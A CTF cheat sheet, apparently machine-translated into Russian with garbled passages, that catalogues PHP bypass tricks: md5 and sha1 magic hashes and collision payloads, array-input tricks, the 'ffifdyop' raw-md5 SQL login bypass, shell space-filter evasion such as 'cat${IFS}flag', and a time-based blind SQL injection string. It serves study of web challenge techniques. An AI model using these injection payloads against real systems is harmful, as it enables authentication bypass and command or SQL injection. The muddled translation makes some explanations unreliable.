В ходе аудита кода нам нетрудно обнаружить, что существует множество функций, которые требуют от нас обхода. Эти точки знаний многочисленны и малы. В принципе, мы можем понять их с первого взгляда, но в следующий раз, когда мы столкнемся с ними, они не столь ясны, и нам придется искать их снова и снова. Эта статья Статья кратко изложена. Если есть какие-либо недостатки, пожалуйста, дополните их.
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo 'success!';
}
принцип обхода:PHPОбработканить Могут возникнуть дефекты,Если нить равна '5e2',Это было просто нормальное нит,Но PHP подумает, что это научная запись.,Затем PHP при сравнении вычислит эту нить в соответствии с научной нотацией.,Прямо сейчас5e2=5*10^2=500, поэтому 0e100 считается равным и0. После шифрования md5 хеш-значение представляет собой серию шестнадцатеричных чисел, поэтому первая цифра хеш-значения должна быть 0, а вторая цифра — eПрямо. сейчас Да, все, что следует далее, считается равным и0
Следующая строка начинается с «0e» после передачи функции md5:
После одиночного и двухкратного шифрования с помощью функции md5 они оба начинаются с «0e»:
Иногда в вопросах используются ctype_alnum(), is_numeric() или регулярные выражения, чтобы ограничить исходное значение чистыми буквами или чистыми числами.
принцип обхода:Будь тоPHPСлабое сравнение или сильное сравнение,Функция md5() не может обработать множество,Если входящих из множества,вернет НУЛЬ,Оба возвращаемых значения после шифрования равны NULL.,Форма равная.
payload:
?a[]=1&b[]=2
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) === md5($b)){
echo 'success!';
}
Хотя PHP является слабо типизированным языком, вам также необходимо понимать типы переменных и их значения, поскольку нам часто приходится сравнивать переменные PHP, включая свободные и строгие сравнения.
Например, «42» это строка и 42 是一个整数。FALSE является логическим значением и “FALSE” это строка.
Подробности, как указано выше
<?php
$a = (string)$_POST['a'];
$b = (string)$_POST['b'];
if($a != $b && md5($a) === md5($b)){
echo 'success!';
}
Из-за принудительного преобразования типов входящий массив получит значение «Array». Здесь нам может понадобиться только значение, не равное до md5 и равное после md5.
Посмотреть подробностиЭта статья
Полезная нагрузка приведена ниже для использования:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
При передаче параметров POST кодирование URL необходимо выполнить еще раз.
a%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2500%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%2555%255d%2583%2560%25fb%255f%2507%25fe%25a2%26b%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2502%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%25d5%255d%2583%2560%25fb%255f%2507%25fe%25a2
<?php
$a=$_GET['a'];
if(substr(md5($str), 0, 6) === "edef"){
echo 'success!';
}
В этом случае можно написать скрипт для взрыва, что обычно занимает много времени.
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '666666' Открытый текст #Knownizmd5
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print(code)
list=[]
for i in range(1): # Здесь изранж(число) означает, сколько результатов прекратится взрывная обработка.
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() # Используйте многопоточность для ускорения взрывной обработки
pool.map(findCode, list)
pool.close()
pool.join()
<?php
$a=$_GET['a'];
if($a == md5($a)){
echo 'success!';
}
0e215962017
из md5 Значение также начинается с «0e», в PHP Равенство при сравнении слабых типов
Select * from ’admin’ where password=md5($pass,true)
ffifdyop
Этот специальныйизнить,Очень классический
принцип обхода:использоватьffifdyopэтотнитьmd5функция Хэш-значение после обработки равно276f722736c95d99e921722cf9ed621c,Mysql просто преобразует шестнадцатеричное число в нить,恰好этот哈希ценить转化后是’or’6<Искаженные символы> Прямо сейчас 'or'66�]��!r,��b
,Это формирует универсальный пароль. Кроме этого нить,129581926211651571912466741651878684928 тоже имеет тот же эффект
<?php
$a = NAN;
$b = NAN;
if($a != $b && md5($a) == md5($b)){
echo 'success!';
}
принцип обхода:НАН и ИНФ,Соответственно нечисло и бесконечность,Но когда var_dump их, тип данных будет двойным.,Затем, когда функция md5 обрабатывает их,состоит в том, чтобы преобразовать его напрямую в нит”NAN”инить”INF”, используя,Но у них есть особые свойства,Они являются ложными при сравнении с любым типом данных (кроме true) в сильных или слабых типах.,Даже NAN=NAN неверно,Но md5('NAN')=md5('NAN') верно. (Я попробовал и обнаружил, что птица NAN действительно может,Но РСМД провалилась, не знаю почему.,В недоумении...)
Шифрование sha1 с обходом иMD5 — тот же подход, но тот же результат
Функция sha1 также не может обрабатывать массивы. Если передан массив, она вернет NULL, что позволяет обойти сильное и слабое сравнение.
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
Это два одинаковых, но разных значения SHA1 (значения SHA256 разные) изpdf файлов
<?php
$a=$_GET['a'];
if(preg_match('/ /',$a)){
die('wrong!')
}else{
echo 'success!';
eval($a);
}
cat${IFS}flag
cat$IFS$9flag
cat$IFS$1flag
принцип обхода:Под В Linux есть специальная переменная среды, называемая IFS, называемый внутренним разделителем полей (внутренний field разделитель). Переменная среды IFS определяет bash Разделитель пользовательских полей оболочки представляет собой серию символов. По умолчанию Баш Оболочка будет рассматривать следующие символы как разделители полей: пробел, символ. табуляции、символ новой строки。простойизcat\IFSxxx, интерпретатор bash будет рассматривать весь IFSxxx как имя переменной, поэтому результат не может быть выведен. Однако, если вы добавите {}, имя переменной будет исправлено.Можно использовать для отрезанияизэффект,Зачем использоватьА что насчет 9? потому что9Просто нынешняя системаshellпроцессиз Девятый параметриздержатель,Всегда пусто нить.
cat<flag
cat<>flag
{cat,flag}
cat%09flag
cat%20flag
< или<>Нет эха при использовании с подстановочными знаками,Невозможно использовать одновременно
Используйте запятые для реализации функции пробела и их необходимо заключить в {}
В среде PHP вы можете использовать %09 (табуляция) для обхода пробелов.
принцип обхода:/**/это комментарий,Замените пробелы комментариями
select/**/column_name/**/from/**/information_schema.tables/**/where/**/table_name="users"
Пополнить:
/* …. */ Комментарии одинаковы на большинстве языков. В этом случае оператор из не выполняется. Но в MySQL Для обеспечения совместимости, например, из mysqldump. Операторы экспорта SQL могут напрямую использоваться другими базами данных. В них помещаются некоторые уникальные операторы, доступные только в MySQL. /*! … */ , чтобы эти операторы не выполнялись в других базах данных, а выполнялись в MYSQL.
/*!50001 select * from test */; Здесь из50001 означает, если Этот оператор будет выполнен только в том случае, если база данных имеет версию 5.00.01 или выше.
принцип обхода:существоватьMySQLсередина,Круглые скобки используются для заключения подзапросов. поэтому,Любое утверждение, способное вычислить результат,может быть заключен в круглые скобки. И оба конца скобок из,Никаких дополнительных пробелов быть не может.
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
Приведенный выше оператор, часто используемый для внедрения с задержкой по времени, указывает, равен ли ASCII-код первого символа функции data() 109. Если да,загрузка будет отложена от for относится к обходу запятой. При использовании слепого внедрения вам необходимо использовать substr().,mid(),предел. Эти методы предложения требуют использования запятых.
%20 %09 %0a %0b %0c %0d %a0 %00
<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
echo 'success!';
}
принцип обхода:использоватьstrcmpфункция Волямножествоили者对象类型与нить Сравнение вернется-1,Но начиная с 5.3,вернет 0
когда вошел?id[]=1
час Прямо сейчас Можетbypass
<?php
if(!is_array($_GET['test'])){exit();} // Определите, много ли это
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){ //Просматриваем содержимое множества. Все содержимое не может быть административным и должно быть одного типа.
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]); //Преобразуем в тип int
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>
принцип обхода:array_search() Функция ищет значение ключа среди множества и возвращает соответствующее имя ключа. in_array() функцияпоискмножествосередина是否存существовать指定изценить。Базовый функционал тот жеиз,Другими словами, положение обхода также такое же. Используйте функцию, чтобы получить доступ к функции возврата «0», если оно не соответствует типу.,Непосредственный обход обнаружения。такpayload:?test[]=0
。
принцип обхода:еслиswitchэто числовой типизcaseиз判断час,переключатель преобразует параметры из в тип int,Например:
<?php
$i ="3name";
switch ($i) {
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag";
break;
}
?>
Согласно содержанию руководства PHP
Любой тип значения в PHP, Сравнения с bool будут преобразованы в bool по сравнению с bool , считаются следующие значения **false
**:
false
сам0
(ноль)0.0
(ноль)-0.0
(ноль)""
,а такженить "0"
Все остальные значения учитываются **true
**(包括 ресурс и **NAN
**)。
В этой статье используется соглашение CC-BY-SA-3.0. При перепечатке указывайте источник. Автор: ph0ebus